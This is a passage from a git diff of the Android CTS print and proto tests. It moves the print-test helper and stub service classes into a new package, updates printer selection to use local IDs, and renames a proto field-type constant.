+ ((PrinterDiscoverySessionCallbacks) invocation.getMock()).getSession();
+
+ onPrinterDiscoverySessionCreateCalled();
+ return null;
+ }, null, null, null, null, null, invocation -> {
+ onPrinterDiscoverySessionDestroyCalled();
+ return null;
+ });
+
+ // Create the service callbacks for the first print service.
+ PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
+ invocation -> firstSessionCallbacks, null, null);
+
+ // Configure the print services.
+ FirstPrintService.setCallbacks(firstServiceCallbacks);
+ SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+
+ makeDefaultPrinter(FIRST_PRINTER_LOCAL_ID);
+
+ PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+ print(adapter);
+ waitForPrinterDiscoverySessionCreateCallbackCalled();
+
+ // Add printer but do not enable it (capabilities == null)
+ runOnMainThread(() -> addPrinter(FIRST_PRINTER_LOCAL_ID, false));
+ waitForPrinterUnavailable();
+
+ selectPrinter("All printers…");
+ // Let all printers activity start
+ Thread.sleep(500);
+
+ // Enable printer
+ runOnMainThread(() -> addPrinter(FIRST_PRINTER_LOCAL_ID, true));
+
+ // Select printer once available (this returns to main print activity)
+ selectInAllPrintersActivity(FIRST_PRINTER_LOCAL_ID);
+
+ // Wait for preview to load and finish print
+ waitForWriteAdapterCallback(1);
+ clickPrintButton();
+ waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+ }
+
@Test
public void normalLifecycle() throws Throwable {
// Create the session callbacks that we will be checking.
@@ -99,7 +271,7 @@
runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
// Select the first printer.
- selectPrinter(FIRST_PRINTER_NAME);
+ selectPrinter(FIRST_PRINTER_LOCAL_ID);
eventually(() -> runOnMainThread(() -> assertEquals(FIRST_PRINTER_LOCAL_ID,
sSession.getTrackedPrinters().get(0).getLocalId())));
@@ -111,7 +283,7 @@
// Select the second printer (same capabilities as the other
// one so no layout should happen).
- selectPrinter(SECOND_PRINTER_NAME);
+ selectPrinter(SECOND_PRINTER_LOCAL_ID);
eventually(() -> runOnMainThread(() -> assertEquals(SECOND_PRINTER_LOCAL_ID,
sSession.getTrackedPrinters().get(0).getLocalId())));
@@ -205,7 +377,7 @@
runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
// Select the first printer.
- selectPrinter(FIRST_PRINTER_NAME);
+ selectPrinter(FIRST_PRINTER_LOCAL_ID);
eventually(() -> runOnMainThread(() -> assertEquals(FIRST_PRINTER_LOCAL_ID,
sSession.getTrackedPrinters().get(0).getLocalId())));
@@ -295,7 +467,7 @@
runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
// Select the first printer.
- selectPrinter(FIRST_PRINTER_NAME);
+ selectPrinter(FIRST_PRINTER_LOCAL_ID);
eventually(() -> runOnMainThread(() -> assertEquals(FIRST_PRINTER_LOCAL_ID,
sSession.getTrackedPrinters().get(0).getLocalId())));
@@ -491,27 +663,9 @@
assertTrue(sSession.isPrinterDiscoveryStarted());
- if (sSession.getPrinters().isEmpty()) {
- List<PrinterInfo> printers = new ArrayList<>();
+ addPrinter(FIRST_PRINTER_LOCAL_ID, false);
+ addPrinter(SECOND_PRINTER_LOCAL_ID, false);
- // Add the first printer.
- PrinterId firstPrinterId = sSession.getService().generatePrinterId(
- FIRST_PRINTER_LOCAL_ID);
- PrinterInfo firstPrinter = new PrinterInfo.Builder(firstPrinterId,
- FIRST_PRINTER_NAME, PrinterInfo.STATUS_IDLE)
- .build();
- printers.add(firstPrinter);
-
- // Add the first printer.
- PrinterId secondPrinterId = sSession.getService().generatePrinterId(
- SECOND_PRINTER_LOCAL_ID);
- PrinterInfo secondPrinter = new PrinterInfo.Builder(secondPrinterId,
- SECOND_PRINTER_NAME, PrinterInfo.STATUS_IDLE)
- .build();
- printers.add(secondPrinter);
-
- sSession.addPrinters(printers);
- }
return null;
}, invocation -> {
assertFalse(sSession.isPrinterDiscoveryStarted());
diff --git a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
index 9c5c6ab..6a65e00 100644
--- a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
@@ -27,11 +27,12 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiSelector;
diff --git a/tests/tests/print/src/android/print/cts/Utils.java b/tests/tests/print/src/android/print/cts/Utils.java
deleted file mode 100644
index 93f5632..0000000
--- a/tests/tests/print/src/android/print/cts/Utils.java
+++ /dev/null
@@ -1,148 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts;
-
-import android.content.Context;
-import android.os.Handler;
-import android.os.Looper;
-import android.print.PrintJob;
-import android.print.PrintManager;
-import android.support.annotation.NonNull;
-import android.util.Log;
-
-/**
- * Utilities for print tests
- */
-public class Utils {
- private static final String LOG_TAG = "Utils";
-
- /**
- * A {@link Runnable} that can throw an {@link Throwable}.
- */
- public interface Invokable {
- void run() throws Throwable;
- }
-
- /**
- * Run a {@link Invokable} and expect and {@link Throwable} of a certain type.
- *
- * @param r The {@link Invokable} to run
- * @param expectedClass The expected {@link Throwable} type
- */
- public static void assertException(@NonNull Invokable r,
- @NonNull Class<? extends Throwable> expectedClass) throws Throwable {
- try {
- r.run();
- } catch (Throwable e) {
- if (e.getClass().isAssignableFrom(expectedClass)) {
- return;
- } else {
- Log.e(LOG_TAG, "Expected: " + expectedClass.getName() + ", got: "
- + e.getClass().getName());
- throw e;
- }
- }
-
- throw new AssertionError("No throwable thrown");
- }
-
- /**
- * Run a {@link Invokable} on the main thread and forward the {@link Throwable} if one was
- * thrown.
- *
- * @param r The {@link Invokable} to run
- *
- * @throws Throwable If the {@link Runnable} caused an issue
- */
- static void runOnMainThread(@NonNull final Invokable r) throws Throwable {
- final Object synchronizer = new Object();
- final Throwable[] thrown = new Throwable[1];
-
- synchronized (synchronizer) {
- (new Handler(Looper.getMainLooper())).post(() -> {
- synchronized (synchronizer) {
- try {
- r.run();
- } catch (Throwable t) {
- thrown[0] = t;
- }
-
- synchronizer.notify();
- }
- });
-
- synchronizer.wait();
- }
-
- if (thrown[0] != null) {
- throw thrown[0];
- }
- }
-
- /**
- * Make sure that a {@link Invokable} eventually finishes without throwing a {@link Throwable}.
- *
- * @param r The {@link Invokable} to run.
- */
- public static void eventually(@NonNull Invokable r) throws Throwable {
- long start = System.currentTimeMillis();
-
- while (true) {
- try {
- r.run();
- break;
- } catch (Throwable e) {
- if (System.currentTimeMillis() - start < BasePrintTest.OPERATION_TIMEOUT_MILLIS) {
- Log.e(LOG_TAG, "Ignoring exception", e);
-
- try {
- Thread.sleep(500);
- } catch (InterruptedException e1) {
- Log.e(LOG_TAG, "Interrupted", e);
- }
- } else {
- throw e;
- }
- }
- }
- }
-
- /**
- * @param name Name of print job
- *
- * @return The print job for the name
- *
- * @throws Exception If print job could not be found
- */
- static @NonNull PrintJob getPrintJob(@NonNull PrintManager pm, @NonNull String name)
- throws Exception {
- for (android.print.PrintJob job : pm.getPrintJobs()) {
- if (job.getInfo().getLabel().equals(name)) {
- return job;
- }
- }
-
- throw new Exception("Print job " + name + " not found in " + pm.getPrintJobs());
- }
-
- /**
- * @return The print manager
- */
- static @NonNull PrintManager getPrintManager(@NonNull Context context) {
- return (PrintManager) context.getSystemService(Context.PRINT_SERVICE);
- }
-}
diff --git a/tests/tests/print/src/android/print/cts/services/AddPrintersActivity.java b/tests/tests/print/src/android/print/cts/services/AddPrintersActivity.java
deleted file mode 100644
index c72d6f9..0000000
--- a/tests/tests/print/src/android/print/cts/services/AddPrintersActivity.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class AddPrintersActivity extends Activity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- }
-}
diff --git a/tests/tests/print/src/android/print/cts/services/CustomPrintOptionsActivity.java b/tests/tests/print/src/android/print/cts/services/CustomPrintOptionsActivity.java
deleted file mode 100644
index cf52ece..0000000
--- a/tests/tests/print/src/android/print/cts/services/CustomPrintOptionsActivity.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-import android.print.PrintJobInfo;
-import android.print.PrinterInfo;
-import android.printservice.PrintService;
-
-/**
- * Custom print options activity for both print services
- */
-public class CustomPrintOptionsActivity extends Activity {
- /** Lock for {@link #sCallback} */
- private static final Object sLock = new Object();
-
- /** Currently registered callback for _both_ first and second print service. */
- private static CustomPrintOptionsCallback sCallback = null;
-
- /**
- * Set a new callback called when the custom options activity is launched.
- *
- * @param callback The new callback or null, if the callback should be unregistered.
- */
- public static void setCallBack(CustomPrintOptionsCallback callback) {
- synchronized (sLock) {
- sCallback = callback;
- }
- }
-
- /**
- * Callback executed for this activity. Set via {@link #setCallBack}.
- */
- public interface CustomPrintOptionsCallback {
- PrintJobInfo executeCustomPrintOptionsActivity(PrintJobInfo printJob,
- PrinterInfo printer);
- }
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- Intent result = new Intent();
-
- synchronized (sLock) {
- if (sCallback != null) {
- PrintJobInfo printJobInfo = getIntent().getParcelableExtra(
- PrintService.EXTRA_PRINT_JOB_INFO);
- PrinterInfo printerInfo = getIntent().getParcelableExtra(
- "android.intent.extra.print.EXTRA_PRINTER_INFO");
-
- result.putExtra(PrintService.EXTRA_PRINT_JOB_INFO,
- sCallback.executeCustomPrintOptionsActivity(printJobInfo, printerInfo));
- }
- }
-
- setResult(Activity.RESULT_OK, result);
- finish();
- }
-}
diff --git a/tests/tests/print/src/android/print/cts/services/FirstPrintService.java b/tests/tests/print/src/android/print/cts/services/FirstPrintService.java
deleted file mode 100644
index a234de4..0000000
--- a/tests/tests/print/src/android/print/cts/services/FirstPrintService.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-public class FirstPrintService extends StubbablePrintService {
-
- private static final Object sLock = new Object();
-
- private static PrintServiceCallbacks sCallbacks;
-
- public static void setCallbacks(PrintServiceCallbacks callbacks) {
- synchronized (sLock) {
- sCallbacks = callbacks;
- }
- }
-
- @Override
- protected PrintServiceCallbacks getCallbacks() {
- synchronized (sLock) {
- if (sCallbacks != null) {
- sCallbacks.setService(this);
- }
- return sCallbacks;
- }
- }
-}
diff --git a/tests/tests/print/src/android/print/cts/services/InfoActivity.java b/tests/tests/print/src/android/print/cts/services/InfoActivity.java
deleted file mode 100644
index 22c1bb5..0000000
--- a/tests/tests/print/src/android/print/cts/services/InfoActivity.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-import java.util.ArrayList;
-import java.util.Observable;
-
-public class InfoActivity extends Activity {
- public interface Observer {
- void onCreate(Activity createdActivity);
- }
-
- private static final ArrayList<Observer> sObservers = new ArrayList<>();
-
- public static void addObserver(Observer observer) {
- synchronized (sObservers) {
- sObservers.add(observer);
- }
- }
-
- public static void clearObservers() {
- synchronized (sObservers) {
- sObservers.clear();
- }
- }
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- synchronized (sObservers) {
- ArrayList<Observer> observers = (ArrayList<Observer>) sObservers.clone();
-
- for (Observer observer : observers) {
- observer.onCreate(this);
- }
- }
- }
-}
diff --git a/tests/tests/print/src/android/print/cts/services/PrintServiceCallbacks.java b/tests/tests/print/src/android/print/cts/services/PrintServiceCallbacks.java
deleted file mode 100644
index 749e8a9..0000000
--- a/tests/tests/print/src/android/print/cts/services/PrintServiceCallbacks.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.printservice.PrintJob;
-
-public abstract class PrintServiceCallbacks {
-
- private StubbablePrintService mService;
-
- public StubbablePrintService getService() {
- return mService;
- }
-
- public void setService(StubbablePrintService service) {
- mService = service;
- }
-
- public abstract PrinterDiscoverySessionCallbacks onCreatePrinterDiscoverySessionCallbacks();
-
- public abstract void onRequestCancelPrintJob(PrintJob printJob);
-
- public abstract void onPrintJobQueued(PrintJob printJob);
-}
diff --git a/tests/tests/print/src/android/print/cts/services/PrinterDiscoverySessionCallbacks.java b/tests/tests/print/src/android/print/cts/services/PrinterDiscoverySessionCallbacks.java
deleted file mode 100644
index ebddda1..0000000
--- a/tests/tests/print/src/android/print/cts/services/PrinterDiscoverySessionCallbacks.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.os.CancellationSignal;
-import android.print.PrinterId;
-import android.printservice.CustomPrinterIconCallback;
-
-import java.util.List;
-
-public abstract class PrinterDiscoverySessionCallbacks {
-
- private StubbablePrinterDiscoverySession mSession;
-
- public void setSession(StubbablePrinterDiscoverySession session) {
- mSession = session;
- }
-
- public StubbablePrinterDiscoverySession getSession() {
- return mSession;
- }
-
- public abstract void onStartPrinterDiscovery(List<PrinterId> priorityList);
-
- public abstract void onStopPrinterDiscovery();
-
- public abstract void onValidatePrinters(List<PrinterId> printerIds);
-
- public abstract void onStartPrinterStateTracking(PrinterId printerId);
-
- public abstract void onRequestCustomPrinterIcon(PrinterId printerId,
- CancellationSignal cancellationSignal, CustomPrinterIconCallback callback);
-
- public abstract void onStopPrinterStateTracking(PrinterId printerId);
-
- public abstract void onDestroy();
-}
diff --git a/tests/tests/print/src/android/print/cts/services/SecondPrintService.java b/tests/tests/print/src/android/print/cts/services/SecondPrintService.java
deleted file mode 100644
index 1029a8e..0000000
--- a/tests/tests/print/src/android/print/cts/services/SecondPrintService.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-public class SecondPrintService extends StubbablePrintService {
-
- private static final Object sLock = new Object();
-
- private static PrintServiceCallbacks sCallbacks;
-
- public static void setCallbacks(PrintServiceCallbacks callbacks) {
- synchronized (sLock) {
- sCallbacks = callbacks;
- }
- }
-
- @Override
- protected PrintServiceCallbacks getCallbacks() {
- synchronized (sLock) {
- if (sCallbacks != null) {
- sCallbacks.setService(this);
- }
- return sCallbacks;
- }
- }
-}
diff --git a/tests/tests/print/src/android/print/cts/services/SettingsActivity.java b/tests/tests/print/src/android/print/cts/services/SettingsActivity.java
deleted file mode 100644
index eb23574..0000000
--- a/tests/tests/print/src/android/print/cts/services/SettingsActivity.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class SettingsActivity extends Activity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- }
-}
diff --git a/tests/tests/print/src/android/print/cts/services/StubbablePrintService.java b/tests/tests/print/src/android/print/cts/services/StubbablePrintService.java
deleted file mode 100644
index 8c3b89b..0000000
--- a/tests/tests/print/src/android/print/cts/services/StubbablePrintService.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.content.Context;
-import android.printservice.PrintJob;
-import android.printservice.PrintService;
-import android.printservice.PrinterDiscoverySession;
-
-import java.util.List;
-
-public abstract class StubbablePrintService extends PrintService {
-
- @Override
- public PrinterDiscoverySession onCreatePrinterDiscoverySession() {
- PrintServiceCallbacks callbacks = getCallbacks();
- if (callbacks != null) {
- return new StubbablePrinterDiscoverySession(this,
- getCallbacks().onCreatePrinterDiscoverySessionCallbacks());
- }
- return null;
- }
-
- @Override
- public void onRequestCancelPrintJob(PrintJob printJob) {
- PrintServiceCallbacks callbacks = getCallbacks();
- if (callbacks != null) {
- callbacks.onRequestCancelPrintJob(printJob);
- }
- }
-
- @Override
- public void onPrintJobQueued(PrintJob printJob) {
- PrintServiceCallbacks callbacks = getCallbacks();
- if (callbacks != null) {
- callbacks.onPrintJobQueued(printJob);
- }
- }
-
- protected abstract PrintServiceCallbacks getCallbacks();
-
- public void callAttachBaseContext(Context base) {
- attachBaseContext(base);
- }
-
- public List<PrintJob> callGetActivePrintJobs() {
- return getActivePrintJobs();
- }
-
-}
diff --git a/tests/tests/print/src/android/print/cts/services/StubbablePrinterDiscoverySession.java b/tests/tests/print/src/android/print/cts/services/StubbablePrinterDiscoverySession.java
deleted file mode 100644
index e0ec1c1..0000000
--- a/tests/tests/print/src/android/print/cts/services/StubbablePrinterDiscoverySession.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.support.annotation.NonNull;
-import android.os.CancellationSignal;
-import android.print.PrinterId;
-import android.printservice.CustomPrinterIconCallback;
-import android.printservice.PrintService;
-import android.printservice.PrinterDiscoverySession;
-
-import java.util.List;
-
-public class StubbablePrinterDiscoverySession extends PrinterDiscoverySession {
- private final PrintService mService;
- private final PrinterDiscoverySessionCallbacks mCallbacks;
-
- public StubbablePrinterDiscoverySession(PrintService service,
- PrinterDiscoverySessionCallbacks callbacks) {
- mService = service;
- mCallbacks = callbacks;
- if (mCallbacks != null) {
- mCallbacks.setSession(this);
- }
- }
-
- public PrintService getService() {
- return mService;
- }
-
- @Override
- public void onStartPrinterDiscovery(@NonNull List<PrinterId> priorityList) {
- if (mCallbacks != null) {
- mCallbacks.onStartPrinterDiscovery(priorityList);
- }
- }
-
- @Override
- public void onStopPrinterDiscovery() {
- if (mCallbacks != null) {
- mCallbacks.onStopPrinterDiscovery();
- }
- }
-
- @Override
- public void onValidatePrinters(@NonNull List<PrinterId> printerIds) {
- if (mCallbacks != null) {
- mCallbacks.onValidatePrinters(printerIds);
- }
- }
-
- @Override
- public void onStartPrinterStateTracking(@NonNull PrinterId printerId) {
- if (mCallbacks != null) {
- mCallbacks.onStartPrinterStateTracking(printerId);
- }
- }
-
- @Override
- public void onRequestCustomPrinterIcon(@NonNull PrinterId printerId,
- @NonNull CancellationSignal cancellationSignal,
- @NonNull CustomPrinterIconCallback callback) {
- if (mCallbacks != null) {
- mCallbacks.onRequestCustomPrinterIcon(printerId, cancellationSignal, callback);
- }
- }
-
- @Override
- public void onStopPrinterStateTracking(@NonNull PrinterId printerId) {
- if (mCallbacks != null) {
- mCallbacks.onStopPrinterStateTracking(printerId);
- }
- }
-
- @Override
- public void onDestroy() {
- if (mCallbacks != null) {
- mCallbacks.onDestroy();
- }
- }
-}
diff --git a/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java b/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
index 344bcfc..4c2b369 100644
--- a/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
+++ b/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
@@ -16,6 +16,10 @@
package android.print.pdf.cts;
+import static android.print.test.Utils.assertException;
+
+import static org.junit.Assert.assertEquals;
+
import android.content.Context;
import android.graphics.Rect;
import android.graphics.pdf.PdfDocument;
@@ -23,13 +27,11 @@
import android.print.pdf.PrintedPdfDocument;
import android.support.test.InstrumentationRegistry;
import android.support.test.runner.AndroidJUnit4;
+
import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.runner.RunWith;
-import static android.print.cts.Utils.assertException;
-import static org.junit.Assert.assertEquals;
-
/**
* Tests {@link PrintedPdfDocument}. This class is a subclass of {@link PdfDocument}, hence only the
* overridden methods are tested.
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
index fb23607..8178b46 100644
--- a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
@@ -79,7 +79,7 @@
final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
long token = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(2,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
@@ -106,7 +106,7 @@
final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
long token = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(5000,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'\u3110');
@@ -138,7 +138,7 @@
'a');
long token = po.startObject(ProtoOutputStream.makeFieldId(2,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.writeUInt32(ProtoOutputStream.makeFieldId(3,
ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
'b');
@@ -177,7 +177,7 @@
final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
long token = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(token);
Assert.assertArrayEquals(new byte[0], po.getBytes());
@@ -199,11 +199,11 @@
final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
long token1 = po.startObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
long token2 = po.startObject(ProtoOutputStream.makeFieldId(2,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
long token3 = po.startObject(ProtoOutputStream.makeFieldId(3,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(token3);
po.endObject(token2);
po.endObject(token1);
@@ -231,7 +231,7 @@
'a');
long token = po.startObject(ProtoOutputStream.makeFieldId(2,
- ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endObject(token);
po.writeUInt32(ProtoOutputStream.makeFieldId(4,
@@ -263,11 +263,11 @@
long token;
token = po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endRepeatedObject(token);
token = po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
- ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+ ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_MESSAGE));
po.endRepeatedObject(token);
Assert.assertArrayEquals(new byte[] {
@@ -299,7 +299,7 @@
'x');
long token = po.startObject(ProtoOutputStream.makeFieldId(2,
